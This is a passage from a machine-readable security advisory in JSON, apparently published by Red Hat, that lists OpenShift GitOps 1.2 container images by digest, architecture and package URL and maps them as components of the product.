                  "name": "registry.redhat.io/openshift-gitops-1/argo-rollouts-rhel9@sha256:1a7f35f6a4bce49d2068b3a1c876d05b5cbfd89bbd6ac19dc8f04f57494869ae_arm64",
                  "product_id": "registry.redhat.io/openshift-gitops-1/argo-rollouts-rhel9@sha256:1a7f35f6a4bce49d2068b3a1c876d05b5cbfd89bbd6ac19dc8f04f57494869ae_arm64",
                  "product_identification_helper": {
                    "purl": "pkg:oci/argo-rollouts-rhel9@sha256%3A1a7f35f6a4bce49d2068b3a1c876d05b5cbfd89bbd6ac19dc8f04f57494869ae?arch=arm64\u0026repository_url=registry.redhat.io/openshift-gitops-1\u0026tag=1776941989"
                  }
                }
              },
              {
                "category": "product_version",
                "name": "registry.redhat.io/openshift-gitops-1/argocd-rhel9@sha256:14579fb8c01043418b1180ff8c8341f18161544a2072151fa977c09f15151d22_arm64",
                "product": {
                  "name": "registry.redhat.io/openshift-gitops-1/argocd-rhel9@sha256:14579fb8c01043418b1180ff8c8341f18161544a2072151fa977c09f15151d22_arm64",
                  "product_id": "registry.redhat.io/openshift-gitops-1/argocd-rhel9@sha256:14579fb8c01043418b1180ff8c8341f18161544a2072151fa977c09f15151d22_arm64",
                  "product_identification_helper": {
                    "purl": "pkg:oci/argocd-rhel9@sha256%3A14579fb8c01043418b1180ff8c8341f18161544a2072151fa977c09f15151d22?arch=arm64\u0026repository_url=registry.redhat.io/openshift-gitops-1\u0026tag=1776942799"
                  }
                }
              },
              {
                "category": "product_version",
                "name": "registry.redhat.io/openshift-gitops-1/argocd-agent-rhel9@sha256:a70018a41022e1476a644fc4fd52b2889b763c96f23ed1f71b89956717494865_arm64",
                "product": {
                  "name": "registry.redhat.io/openshift-gitops-1/argocd-agent-rhel9@sha256:a70018a41022e1476a644fc4fd52b2889b763c96f23ed1f71b89956717494865_arm64",
                  "product_id": "registry.redhat.io/openshift-gitops-1/argocd-agent-rhel9@sha256:a70018a41022e1476a644fc4fd52b2889b763c96f23ed1f71b89956717494865_arm64",
                  "product_identification_helper": {
                    "purl": "pkg:oci/argocd-agent-rhel9@sha256%3Aa70018a41022e1476a644fc4fd52b2889b763c96f23ed1f71b89956717494865?arch=arm64\u0026repository_url=registry.redhat.io/openshift-gitops-1\u0026tag=1776942647"
                  }
                }
              },
              {
                "category": "product_version",
                "name": "registry.redhat.io/openshift-gitops-1/argocd-extensions-rhel9@sha256:4da1b7b3189054bb621aa106298cc2bcf3d02cb91a36e5363a18dfd612252320_arm64",
                "product": {
                  "name": "registry.redhat.io/openshift-gitops-1/argocd-extensions-rhel9@sha256:4da1b7b3189054bb621aa106298cc2bcf3d02cb91a36e5363a18dfd612252320_arm64",
                  "product_id": "registry.redhat.io/openshift-gitops-1/argocd-extensions-rhel9@sha256:4da1b7b3189054bb621aa106298cc2bcf3d02cb91a36e5363a18dfd612252320_arm64",
                  "product_identification_helper": {
                    "purl": "pkg:oci/argocd-extensions-rhel9@sha256%3A4da1b7b3189054bb621aa106298cc2bcf3d02cb91a36e5363a18dfd612252320?arch=arm64\u0026repository_url=registry.redhat.io/openshift-gitops-1\u0026tag=1776941720"
                  }
                }
              },
              {
                "category": "product_version",
                "name": "registry.redhat.io/openshift-gitops-1/argocd-image-updater-rhel9@sha256:14e5938a315a67d3fda421c65a20b097ab159be4ad031b3035b948dc4515d558_arm64",
                "product": {
                  "name": "registry.redhat.io/openshift-gitops-1/argocd-image-updater-rhel9@sha256:14e5938a315a67d3fda421c65a20b097ab159be4ad031b3035b948dc4515d558_arm64",
                  "product_id": "registry.redhat.io/openshift-gitops-1/argocd-image-updater-rhel9@sha256:14e5938a315a67d3fda421c65a20b097ab159be4ad031b3035b948dc4515d558_arm64",
                  "product_identification_helper": {
                    "purl": "pkg:oci/argocd-image-updater-rhel9@sha256%3A14e5938a315a67d3fda421c65a20b097ab159be4ad031b3035b948dc4515d558?arch=arm64\u0026repository_url=registry.redhat.io/openshift-gitops-1\u0026tag=1776941836"
                  }
                }
              },
              {
                "category": "product_version",
                "name": "registry.redhat.io/openshift-gitops-1/console-plugin-rhel9@sha256:007eadbc0e74cc6e603d0c1de0eef404ec7a0849355563bd94c0312396200789_arm64",
                "product": {
                  "name": "registry.redhat.io/openshift-gitops-1/console-plugin-rhel9@sha256:007eadbc0e74cc6e603d0c1de0eef404ec7a0849355563bd94c0312396200789_arm64",
                  "product_id": "registry.redhat.io/openshift-gitops-1/console-plugin-rhel9@sha256:007eadbc0e74cc6e603d0c1de0eef404ec7a0849355563bd94c0312396200789_arm64",
                  "product_identification_helper": {
                    "purl": "pkg:oci/console-plugin-rhel9@sha256%3A007eadbc0e74cc6e603d0c1de0eef404ec7a0849355563bd94c0312396200789?arch=arm64\u0026repository_url=registry.redhat.io/openshift-gitops-1\u0026tag=1776942778"
                  }
                }
              },
              {
                "category": "product_version",
                "name": "registry.redhat.io/openshift-gitops-1/dex-rhel9@sha256:f79e4f91fc209ed6de6f5983d422a64f540290d20f99016c49ecddaec9205596_arm64",
                "product": {
                  "name": "registry.redhat.io/openshift-gitops-1/dex-rhel9@sha256:f79e4f91fc209ed6de6f5983d422a64f540290d20f99016c49ecddaec9205596_arm64",
                  "product_id": "registry.redhat.io/openshift-gitops-1/dex-rhel9@sha256:f79e4f91fc209ed6de6f5983d422a64f540290d20f99016c49ecddaec9205596_arm64",
                  "product_identification_helper": {
                    "purl": "pkg:oci/dex-rhel9@sha256%3Af79e4f91fc209ed6de6f5983d422a64f540290d20f99016c49ecddaec9205596?arch=arm64\u0026repository_url=registry.redhat.io/openshift-gitops-1\u0026tag=1776941552"
                  }
                }
              },
              {
                "category": "product_version",
                "name": "registry.redhat.io/openshift-gitops-1/gitops-rhel9@sha256:0d97d01f6796597cdb0627d02c9f5836e74f2024d34acad3fef13e95b1aa9aa5_arm64",
                "product": {
                  "name": "registry.redhat.io/openshift-gitops-1/gitops-rhel9@sha256:0d97d01f6796597cdb0627d02c9f5836e74f2024d34acad3fef13e95b1aa9aa5_arm64",
                  "product_id": "registry.redhat.io/openshift-gitops-1/gitops-rhel9@sha256:0d97d01f6796597cdb0627d02c9f5836e74f2024d34acad3fef13e95b1aa9aa5_arm64",
                  "product_identification_helper": {
                    "purl": "pkg:oci/gitops-rhel9@sha256%3A0d97d01f6796597cdb0627d02c9f5836e74f2024d34acad3fef13e95b1aa9aa5?arch=arm64\u0026repository_url=registry.redhat.io/openshift-gitops-1\u0026tag=1776941765"
                  }
                }
              },
              {
                "category": "product_version",
                "name": "registry.redhat.io/openshift-gitops-1/gitops-rhel9-operator@sha256:fa1fcef68d6d858e6cd292da8bab5373405bf86e3fccfd8b14f2780f9a1eb978_arm64",
                "product": {
                  "name": "registry.redhat.io/openshift-gitops-1/gitops-rhel9-operator@sha256:fa1fcef68d6d858e6cd292da8bab5373405bf86e3fccfd8b14f2780f9a1eb978_arm64",
                  "product_id": "registry.redhat.io/openshift-gitops-1/gitops-rhel9-operator@sha256:fa1fcef68d6d858e6cd292da8bab5373405bf86e3fccfd8b14f2780f9a1eb978_arm64",
                  "product_identification_helper": {
                    "purl": "pkg:oci/gitops-rhel9-operator@sha256%3Afa1fcef68d6d858e6cd292da8bab5373405bf86e3fccfd8b14f2780f9a1eb978?arch=arm64\u0026repository_url=registry.redhat.io/openshift-gitops-1\u0026tag=1776942498"
                  }
                }
              },
              {
                "category": "product_version",
                "name": "registry.redhat.io/openshift-gitops-1/must-gather-rhel9@sha256:97383379b6e5c6d0245a7a3568216cdee54c25a7e2509693c0382d8cc4505354_arm64",
                "product": {
                  "name": "registry.redhat.io/openshift-gitops-1/must-gather-rhel9@sha256:97383379b6e5c6d0245a7a3568216cdee54c25a7e2509693c0382d8cc4505354_arm64",
                  "product_id": "registry.redhat.io/openshift-gitops-1/must-gather-rhel9@sha256:97383379b6e5c6d0245a7a3568216cdee54c25a7e2509693c0382d8cc4505354_arm64",
                  "product_identification_helper": {
                    "purl": "pkg:oci/must-gather-rhel9@sha256%3A97383379b6e5c6d0245a7a3568216cdee54c25a7e2509693c0382d8cc4505354?arch=arm64\u0026repository_url=registry.redhat.io/openshift-gitops-1\u0026tag=1776941318"
                  }
                }
              }
            ],
            "category": "architecture",
            "name": "arm64"
          },
          {
            "branches": [
              {
                "category": "product_version",
                "name": "registry.redhat.io/openshift-gitops-1/argo-rollouts-rhel9@sha256:8c0d04403c2d09ae0856fc71a77ec2115a98c72d472c000158acd45ece7c8778_ppc64le",
                "product": {
                  "name": "registry.redhat.io/openshift-gitops-1/argo-rollouts-rhel9@sha256:8c0d04403c2d09ae0856fc71a77ec2115a98c72d472c000158acd45ece7c8778_ppc64le",
                  "product_id": "registry.redhat.io/openshift-gitops-1/argo-rollouts-rhel9@sha256:8c0d04403c2d09ae0856fc71a77ec2115a98c72d472c000158acd45ece7c8778_ppc64le",
                  "product_identification_helper": {
                    "purl": "pkg:oci/argo-rollouts-rhel9@sha256%3A8c0d04403c2d09ae0856fc71a77ec2115a98c72d472c000158acd45ece7c8778?arch=ppc64le\u0026repository_url=registry.redhat.io/openshift-gitops-1\u0026tag=1776941989"
                  }
                }
              },
              {
                "category": "product_version",
                "name": "registry.redhat.io/openshift-gitops-1/argocd-rhel9@sha256:1294587dd6ee8821ed7499fcc4c11b336ea6bda4bee6316caa24cbb15595d425_ppc64le",
                "product": {
                  "name": "registry.redhat.io/openshift-gitops-1/argocd-rhel9@sha256:1294587dd6ee8821ed7499fcc4c11b336ea6bda4bee6316caa24cbb15595d425_ppc64le",
                  "product_id": "registry.redhat.io/openshift-gitops-1/argocd-rhel9@sha256:1294587dd6ee8821ed7499fcc4c11b336ea6bda4bee6316caa24cbb15595d425_ppc64le",
                  "product_identification_helper": {
                    "purl": "pkg:oci/argocd-rhel9@sha256%3A1294587dd6ee8821ed7499fcc4c11b336ea6bda4bee6316caa24cbb15595d425?arch=ppc64le\u0026repository_url=registry.redhat.io/openshift-gitops-1\u0026tag=1776942799"
                  }
                }
              },
              {
                "category": "product_version",
                "name": "registry.redhat.io/openshift-gitops-1/argocd-agent-rhel9@sha256:0d4ad1f17e7255f4d162bc2965a636982f813afab6e012ce60d2fed7a61c6ac8_ppc64le",
                "product": {
                  "name": "registry.redhat.io/openshift-gitops-1/argocd-agent-rhel9@sha256:0d4ad1f17e7255f4d162bc2965a636982f813afab6e012ce60d2fed7a61c6ac8_ppc64le",
                  "product_id": "registry.redhat.io/openshift-gitops-1/argocd-agent-rhel9@sha256:0d4ad1f17e7255f4d162bc2965a636982f813afab6e012ce60d2fed7a61c6ac8_ppc64le",
                  "product_identification_helper": {
                    "purl": "pkg:oci/argocd-agent-rhel9@sha256%3A0d4ad1f17e7255f4d162bc2965a636982f813afab6e012ce60d2fed7a61c6ac8?arch=ppc64le\u0026repository_url=registry.redhat.io/openshift-gitops-1\u0026tag=1776942647"
                  }
                }
              },
              {
                "category": "product_version",
                "name": "registry.redhat.io/openshift-gitops-1/argocd-extensions-rhel9@sha256:86b44929860d7967c829a4ceddc46cb3b312d89cea2bc615b55e2a2cc8fe32dc_ppc64le",
                "product": {
                  "name": "registry.redhat.io/openshift-gitops-1/argocd-extensions-rhel9@sha256:86b44929860d7967c829a4ceddc46cb3b312d89cea2bc615b55e2a2cc8fe32dc_ppc64le",
                  "product_id": "registry.redhat.io/openshift-gitops-1/argocd-extensions-rhel9@sha256:86b44929860d7967c829a4ceddc46cb3b312d89cea2bc615b55e2a2cc8fe32dc_ppc64le",
                  "product_identification_helper": {
                    "purl": "pkg:oci/argocd-extensions-rhel9@sha256%3A86b44929860d7967c829a4ceddc46cb3b312d89cea2bc615b55e2a2cc8fe32dc?arch=ppc64le\u0026repository_url=registry.redhat.io/openshift-gitops-1\u0026tag=1776941720"
                  }
                }
              },
              {
                "category": "product_version",
                "name": "registry.redhat.io/openshift-gitops-1/argocd-image-updater-rhel9@sha256:6ca26d9abf4896f1dd209b1518c986d2940e0b1a9d21564020a555e1f135d12e_ppc64le",
                "product": {
                  "name": "registry.redhat.io/openshift-gitops-1/argocd-image-updater-rhel9@sha256:6ca26d9abf4896f1dd209b1518c986d2940e0b1a9d21564020a555e1f135d12e_ppc64le",
                  "product_id": "registry.redhat.io/openshift-gitops-1/argocd-image-updater-rhel9@sha256:6ca26d9abf4896f1dd209b1518c986d2940e0b1a9d21564020a555e1f135d12e_ppc64le",
                  "product_identification_helper": {
                    "purl": "pkg:oci/argocd-image-updater-rhel9@sha256%3A6ca26d9abf4896f1dd209b1518c986d2940e0b1a9d21564020a555e1f135d12e?arch=ppc64le\u0026repository_url=registry.redhat.io/openshift-gitops-1\u0026tag=1776941836"
                  }
                }
              },
              {
                "category": "product_version",
                "name": "registry.redhat.io/openshift-gitops-1/console-plugin-rhel9@sha256:9af499c49ef9616512081baeaaae96d437639ce2aa348b2dacb9d803e913844e_ppc64le",
                "product": {
                  "name": "registry.redhat.io/openshift-gitops-1/console-plugin-rhel9@sha256:9af499c49ef9616512081baeaaae96d437639ce2aa348b2dacb9d803e913844e_ppc64le",
                  "product_id": "registry.redhat.io/openshift-gitops-1/console-plugin-rhel9@sha256:9af499c49ef9616512081baeaaae96d437639ce2aa348b2dacb9d803e913844e_ppc64le",
                  "product_identification_helper": {
                    "purl": "pkg:oci/console-plugin-rhel9@sha256%3A9af499c49ef9616512081baeaaae96d437639ce2aa348b2dacb9d803e913844e?arch=ppc64le\u0026repository_url=registry.redhat.io/openshift-gitops-1\u0026tag=1776942778"
                  }
                }
              },
              {
                "category": "product_version",
                "name": "registry.redhat.io/openshift-gitops-1/dex-rhel9@sha256:d0367c2f27364cb4f9f494cabc4c062bd1f550443299e3ab7c48e7a1f08730b3_ppc64le",
                "product": {
                  "name": "registry.redhat.io/openshift-gitops-1/dex-rhel9@sha256:d0367c2f27364cb4f9f494cabc4c062bd1f550443299e3ab7c48e7a1f08730b3_ppc64le",
                  "product_id": "registry.redhat.io/openshift-gitops-1/dex-rhel9@sha256:d0367c2f27364cb4f9f494cabc4c062bd1f550443299e3ab7c48e7a1f08730b3_ppc64le",
                  "product_identification_helper": {
                    "purl": "pkg:oci/dex-rhel9@sha256%3Ad0367c2f27364cb4f9f494cabc4c062bd1f550443299e3ab7c48e7a1f08730b3?arch=ppc64le\u0026repository_url=registry.redhat.io/openshift-gitops-1\u0026tag=1776941552"
                  }
                }
              },
              {
                "category": "product_version",
                "name": "registry.redhat.io/openshift-gitops-1/gitops-rhel9@sha256:55399d2dd0fad6f63f05aa49e434847958391a863b2f607d8be6d7e781b8b7ec_ppc64le",
                "product": {
                  "name": "registry.redhat.io/openshift-gitops-1/gitops-rhel9@sha256:55399d2dd0fad6f63f05aa49e434847958391a863b2f607d8be6d7e781b8b7ec_ppc64le",
                  "product_id": "registry.redhat.io/openshift-gitops-1/gitops-rhel9@sha256:55399d2dd0fad6f63f05aa49e434847958391a863b2f607d8be6d7e781b8b7ec_ppc64le",
                  "product_identification_helper": {
                    "purl": "pkg:oci/gitops-rhel9@sha256%3A55399d2dd0fad6f63f05aa49e434847958391a863b2f607d8be6d7e781b8b7ec?arch=ppc64le\u0026repository_url=registry.redhat.io/openshift-gitops-1\u0026tag=1776941765"
                  }
                }
              },
              {
                "category": "product_version",
                "name": "registry.redhat.io/openshift-gitops-1/gitops-rhel9-operator@sha256:e7d38d8bf66e2fcfc124a0f0ba15b33fec21d23d3cefda2201aa4d0f2397fc18_ppc64le",
                "product": {
                  "name": "registry.redhat.io/openshift-gitops-1/gitops-rhel9-operator@sha256:e7d38d8bf66e2fcfc124a0f0ba15b33fec21d23d3cefda2201aa4d0f2397fc18_ppc64le",
                  "product_id": "registry.redhat.io/openshift-gitops-1/gitops-rhel9-operator@sha256:e7d38d8bf66e2fcfc124a0f0ba15b33fec21d23d3cefda2201aa4d0f2397fc18_ppc64le",
                  "product_identification_helper": {
                    "purl": "pkg:oci/gitops-rhel9-operator@sha256%3Ae7d38d8bf66e2fcfc124a0f0ba15b33fec21d23d3cefda2201aa4d0f2397fc18?arch=ppc64le\u0026repository_url=registry.redhat.io/openshift-gitops-1\u0026tag=1776942498"
                  }
                }
              },
              {
                "category": "product_version",
                "name": "registry.redhat.io/openshift-gitops-1/must-gather-rhel9@sha256:caef68abcb44b186bcf69cd3557983b7da189bea125cf65bc92e74148eb5c444_ppc64le",
                "product": {
                  "name": "registry.redhat.io/openshift-gitops-1/must-gather-rhel9@sha256:caef68abcb44b186bcf69cd3557983b7da189bea125cf65bc92e74148eb5c444_ppc64le",
                  "product_id": "registry.redhat.io/openshift-gitops-1/must-gather-rhel9@sha256:caef68abcb44b186bcf69cd3557983b7da189bea125cf65bc92e74148eb5c444_ppc64le",
                  "product_identification_helper": {
                    "purl": "pkg:oci/must-gather-rhel9@sha256%3Acaef68abcb44b186bcf69cd3557983b7da189bea125cf65bc92e74148eb5c444?arch=ppc64le\u0026repository_url=registry.redhat.io/openshift-gitops-1\u0026tag=1776941318"
                  }
                }
              }
            ],
            "category": "architecture",
            "name": "ppc64le"
          },
          {
            "branches": [
              {
                "category": "product_version",
                "name": "registry.redhat.io/openshift-gitops-1/argo-rollouts-rhel9@sha256:7254d6fb620373192a144f0d7c5a3cd31c92baf130bbb2dc4a99be283488924c_s390x",
                "product": {
                  "name": "registry.redhat.io/openshift-gitops-1/argo-rollouts-rhel9@sha256:7254d6fb620373192a144f0d7c5a3cd31c92baf130bbb2dc4a99be283488924c_s390x",
                  "product_id": "registry.redhat.io/openshift-gitops-1/argo-rollouts-rhel9@sha256:7254d6fb620373192a144f0d7c5a3cd31c92baf130bbb2dc4a99be283488924c_s390x",
                  "product_identification_helper": {
                    "purl": "pkg:oci/argo-rollouts-rhel9@sha256%3A7254d6fb620373192a144f0d7c5a3cd31c92baf130bbb2dc4a99be283488924c?arch=s390x\u0026repository_url=registry.redhat.io/openshift-gitops-1\u0026tag=1776941989"
                  }
                }
              },
              {
                "category": "product_version",
                "name": "registry.redhat.io/openshift-gitops-1/argocd-rhel9@sha256:6e4afba0bfbe3b6d727faa6a2dcb8dae618d6bf548052483909af5262704e1a5_s390x",
                "product": {
                  "name": "registry.redhat.io/openshift-gitops-1/argocd-rhel9@sha256:6e4afba0bfbe3b6d727faa6a2dcb8dae618d6bf548052483909af5262704e1a5_s390x",
                  "product_id": "registry.redhat.io/openshift-gitops-1/argocd-rhel9@sha256:6e4afba0bfbe3b6d727faa6a2dcb8dae618d6bf548052483909af5262704e1a5_s390x",
                  "product_identification_helper": {
                    "purl": "pkg:oci/argocd-rhel9@sha256%3A6e4afba0bfbe3b6d727faa6a2dcb8dae618d6bf548052483909af5262704e1a5?arch=s390x\u0026repository_url=registry.redhat.io/openshift-gitops-1\u0026tag=1776942799"
                  }
                }
              },
              {
                "category": "product_version",
                "name": "registry.redhat.io/openshift-gitops-1/argocd-agent-rhel9@sha256:c9849fc3254f51f999e587e838c4a208eeaabe1bdac50a0924487fe248b7ced3_s390x",
                "product": {
                  "name": "registry.redhat.io/openshift-gitops-1/argocd-agent-rhel9@sha256:c9849fc3254f51f999e587e838c4a208eeaabe1bdac50a0924487fe248b7ced3_s390x",
                  "product_id": "registry.redhat.io/openshift-gitops-1/argocd-agent-rhel9@sha256:c9849fc3254f51f999e587e838c4a208eeaabe1bdac50a0924487fe248b7ced3_s390x",
                  "product_identification_helper": {
                    "purl": "pkg:oci/argocd-agent-rhel9@sha256%3Ac9849fc3254f51f999e587e838c4a208eeaabe1bdac50a0924487fe248b7ced3?arch=s390x\u0026repository_url=registry.redhat.io/openshift-gitops-1\u0026tag=1776942647"
                  }
                }
              },
              {
                "category": "product_version",
                "name": "registry.redhat.io/openshift-gitops-1/argocd-extensions-rhel9@sha256:5731b669139fe6fc7a6c56342b7ca2055b74b44d41fc59757b96ccbfe2f008d7_s390x",
                "product": {
                  "name": "registry.redhat.io/openshift-gitops-1/argocd-extensions-rhel9@sha256:5731b669139fe6fc7a6c56342b7ca2055b74b44d41fc59757b96ccbfe2f008d7_s390x",
                  "product_id": "registry.redhat.io/openshift-gitops-1/argocd-extensions-rhel9@sha256:5731b669139fe6fc7a6c56342b7ca2055b74b44d41fc59757b96ccbfe2f008d7_s390x",
                  "product_identification_helper": {
                    "purl": "pkg:oci/argocd-extensions-rhel9@sha256%3A5731b669139fe6fc7a6c56342b7ca2055b74b44d41fc59757b96ccbfe2f008d7?arch=s390x\u0026repository_url=registry.redhat.io/openshift-gitops-1\u0026tag=1776941720"
                  }
                }
              },
              {
                "category": "product_version",
                "name": "registry.redhat.io/openshift-gitops-1/argocd-image-updater-rhel9@sha256:b8b5a507013980e7750c4edbe3e07f4b16f4792ac904cfe6ecd6be036afb4192_s390x",
                "product": {
                  "name": "registry.redhat.io/openshift-gitops-1/argocd-image-updater-rhel9@sha256:b8b5a507013980e7750c4edbe3e07f4b16f4792ac904cfe6ecd6be036afb4192_s390x",
                  "product_id": "registry.redhat.io/openshift-gitops-1/argocd-image-updater-rhel9@sha256:b8b5a507013980e7750c4edbe3e07f4b16f4792ac904cfe6ecd6be036afb4192_s390x",
                  "product_identification_helper": {
                    "purl": "pkg:oci/argocd-image-updater-rhel9@sha256%3Ab8b5a507013980e7750c4edbe3e07f4b16f4792ac904cfe6ecd6be036afb4192?arch=s390x\u0026repository_url=registry.redhat.io/openshift-gitops-1\u0026tag=1776941836"
                  }
                }
              },
              {
                "category": "product_version",
                "name": "registry.redhat.io/openshift-gitops-1/console-plugin-rhel9@sha256:4b1d0d11ef2352bd08ed140d6a0a57c41b087c4cec85089873349da2fa32fc7e_s390x",
                "product": {
                  "name": "registry.redhat.io/openshift-gitops-1/console-plugin-rhel9@sha256:4b1d0d11ef2352bd08ed140d6a0a57c41b087c4cec85089873349da2fa32fc7e_s390x",
                  "product_id": "registry.redhat.io/openshift-gitops-1/console-plugin-rhel9@sha256:4b1d0d11ef2352bd08ed140d6a0a57c41b087c4cec85089873349da2fa32fc7e_s390x",
                  "product_identification_helper": {
                    "purl": "pkg:oci/console-plugin-rhel9@sha256%3A4b1d0d11ef2352bd08ed140d6a0a57c41b087c4cec85089873349da2fa32fc7e?arch=s390x\u0026repository_url=registry.redhat.io/openshift-gitops-1\u0026tag=1776942778"
                  }
                }
              },
              {
                "category": "product_version",
                "name": "registry.redhat.io/openshift-gitops-1/dex-rhel9@sha256:b07da7bffb7e86461f16343dfb854d80242adb49ac9fd99c93c1b2cf0a157a4b_s390x",
                "product": {
                  "name": "registry.redhat.io/openshift-gitops-1/dex-rhel9@sha256:b07da7bffb7e86461f16343dfb854d80242adb49ac9fd99c93c1b2cf0a157a4b_s390x",
                  "product_id": "registry.redhat.io/openshift-gitops-1/dex-rhel9@sha256:b07da7bffb7e86461f16343dfb854d80242adb49ac9fd99c93c1b2cf0a157a4b_s390x",
                  "product_identification_helper": {
                    "purl": "pkg:oci/dex-rhel9@sha256%3Ab07da7bffb7e86461f16343dfb854d80242adb49ac9fd99c93c1b2cf0a157a4b?arch=s390x\u0026repository_url=registry.redhat.io/openshift-gitops-1\u0026tag=1776941552"
                  }
                }
              },
              {
                "category": "product_version",
                "name": "registry.redhat.io/openshift-gitops-1/gitops-rhel9@sha256:53b96010bc3ae866c47d15de5c7333d1480ecc3eb3bed8da8dc628cbe28b2da1_s390x",
                "product": {
                  "name": "registry.redhat.io/openshift-gitops-1/gitops-rhel9@sha256:53b96010bc3ae866c47d15de5c7333d1480ecc3eb3bed8da8dc628cbe28b2da1_s390x",
                  "product_id": "registry.redhat.io/openshift-gitops-1/gitops-rhel9@sha256:53b96010bc3ae866c47d15de5c7333d1480ecc3eb3bed8da8dc628cbe28b2da1_s390x",
                  "product_identification_helper": {
                    "purl": "pkg:oci/gitops-rhel9@sha256%3A53b96010bc3ae866c47d15de5c7333d1480ecc3eb3bed8da8dc628cbe28b2da1?arch=s390x\u0026repository_url=registry.redhat.io/openshift-gitops-1\u0026tag=1776941765"
                  }
                }
              },
              {
                "category": "product_version",
                "name": "registry.redhat.io/openshift-gitops-1/gitops-rhel9-operator@sha256:74abc86fa908da7f0214c8a6a9abfbb7cbbf403b4ef9c56326f36e6cc2d1bd6c_s390x",
                "product": {
                  "name": "registry.redhat.io/openshift-gitops-1/gitops-rhel9-operator@sha256:74abc86fa908da7f0214c8a6a9abfbb7cbbf403b4ef9c56326f36e6cc2d1bd6c_s390x",
                  "product_id": "registry.redhat.io/openshift-gitops-1/gitops-rhel9-operator@sha256:74abc86fa908da7f0214c8a6a9abfbb7cbbf403b4ef9c56326f36e6cc2d1bd6c_s390x",
                  "product_identification_helper": {
                    "purl": "pkg:oci/gitops-rhel9-operator@sha256%3A74abc86fa908da7f0214c8a6a9abfbb7cbbf403b4ef9c56326f36e6cc2d1bd6c?arch=s390x\u0026repository_url=registry.redhat.io/openshift-gitops-1\u0026tag=1776942498"
                  }
                }
              },
              {
                "category": "product_version",
                "name": "registry.redhat.io/openshift-gitops-1/must-gather-rhel9@sha256:5cd813be411ef842058232c84202cc4a20c1d578e88b3778f625da8cf522b321_s390x",
                "product": {
                  "name": "registry.redhat.io/openshift-gitops-1/must-gather-rhel9@sha256:5cd813be411ef842058232c84202cc4a20c1d578e88b3778f625da8cf522b321_s390x",
                  "product_id": "registry.redhat.io/openshift-gitops-1/must-gather-rhel9@sha256:5cd813be411ef842058232c84202cc4a20c1d578e88b3778f625da8cf522b321_s390x",
                  "product_identification_helper": {
                    "purl": "pkg:oci/must-gather-rhel9@sha256%3A5cd813be411ef842058232c84202cc4a20c1d578e88b3778f625da8cf522b321?arch=s390x\u0026repository_url=registry.redhat.io/openshift-gitops-1\u0026tag=1776941318"
                  }
                }
              }
            ],
            "category": "architecture",
            "name": "s390x"
          }
        ],
        "category": "vendor",
        "name": "Red Hat"
      }
    ],
    "relationships": [
      {
        "category": "default_component_of",
        "full_product_name": {
          "name": "registry.redhat.io/openshift-gitops-1/argo-rollouts-rhel9@sha256:1a7f35f6a4bce49d2068b3a1c876d05b5cbfd89bbd6ac19dc8f04f57494869ae_arm64 as a component of Red Hat OpenShift GitOps 1.2",
          "product_id": "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/argo-rollouts-rhel9@sha256:1a7f35f6a4bce49d2068b3a1c876d05b5cbfd89bbd6ac19dc8f04f57494869ae_arm64"
        },
        "product_reference": "registry.redhat.io/openshift-gitops-1/argo-rollouts-rhel9@sha256:1a7f35f6a4bce49d2068b3a1c876d05b5cbfd89bbd6ac19dc8f04f57494869ae_arm64",
        "relates_to_product_reference": "Red Hat OpenShift GitOps 1.2"
      },
      {
        "category": "default_component_of",
        "full_product_name": {
          "name": "registry.redhat.io/openshift-gitops-1/argo-rollouts-rhel9@sha256:58bcb00e510f89d9f1ad42dc5d9f1154f98ac8a58cb1b2a0c387bfe4f7660710_amd64 as a component of Red Hat OpenShift GitOps 1.2",
          "product_id": "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/argo-rollouts-rhel9@sha256:58bcb00e510f89d9f1ad42dc5d9f1154f98ac8a58cb1b2a0c387bfe4f7660710_amd64"
        },
        "product_reference": "registry.redhat.io/openshift-gitops-1/argo-rollouts-rhel9@sha256:58bcb00e510f89d9f1ad42dc5d9f1154f98ac8a58cb1b2a0c387bfe4f7660710_amd64",
        "relates_to_product_reference": "Red Hat OpenShift GitOps 1.2"
      },
      {
        "category": "default_component_of",
        "full_product_name": {
          "name": "registry.redhat.io/openshift-gitops-1/argo-rollouts-rhel9@sha256:7254d6fb620373192a144f0d7c5a3cd31c92baf130bbb2dc4a99be283488924c_s390x as a component of Red Hat OpenShift GitOps 1.2",
          "product_id": "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/argo-rollouts-rhel9@sha256:7254d6fb620373192a144f0d7c5a3cd31c92baf130bbb2dc4a99be283488924c_s390x"
        },
        "product_reference": "registry.redhat.io/openshift-gitops-1/argo-rollouts-rhel9@sha256:7254d6fb620373192a144f0d7c5a3cd31c92baf130bbb2dc4a99be283488924c_s390x",
        "relates_to_product_reference": "Red Hat OpenShift GitOps 1.2"
      },
      {
        "category": "default_component_of",
        "full_product_name": {
          "name": "registry.redhat.io/openshift-gitops-1/argo-rollouts-rhel9@sha256:8c0d04403c2d09ae0856fc71a77ec2115a98c72d472c000158acd45ece7c8778_ppc64le as a component of Red Hat OpenShift GitOps 1.2",
          "product_id": "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/argo-rollouts-rhel9@sha256:8c0d04403c2d09ae0856fc71a77ec2115a98c72d472c000158acd45ece7c8778_ppc64le"
        },
        "product_reference": "registry.redhat.io/openshift-gitops-1/argo-rollouts-rhel9@sha256:8c0d04403c2d09ae0856fc71a77ec2115a98c72d472c000158acd45ece7c8778_ppc64le",
        "relates_to_product_reference": "Red Hat OpenShift GitOps 1.2"
      },
      {
        "category": "default_component_of",
        "full_product_name": {
          "name": "registry.redhat.io/openshift-gitops-1/argocd-agent-rhel9@sha256:0d4ad1f17e7255f4d162bc2965a636982f813afab6e012ce60d2fed7a61c6ac8_ppc64le as a component of Red Hat OpenShift GitOps 1.2",
          "product_id": "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/argocd-agent-rhel9@sha256:0d4ad1f17e7255f4d162bc2965a636982f813afab6e012ce60d2fed7a61c6ac8_ppc64le"
        },
        "product_reference": "registry.redhat.io/openshift-gitops-1/argocd-agent-rhel9@sha256:0d4ad1f17e7255f4d162bc2965a636982f813afab6e012ce60d2fed7a61c6ac8_ppc64le",
        "relates_to_product_reference": "Red Hat OpenShift GitOps 1.2"
      },
      {
        "category": "default_component_of",
        "full_product_name": {
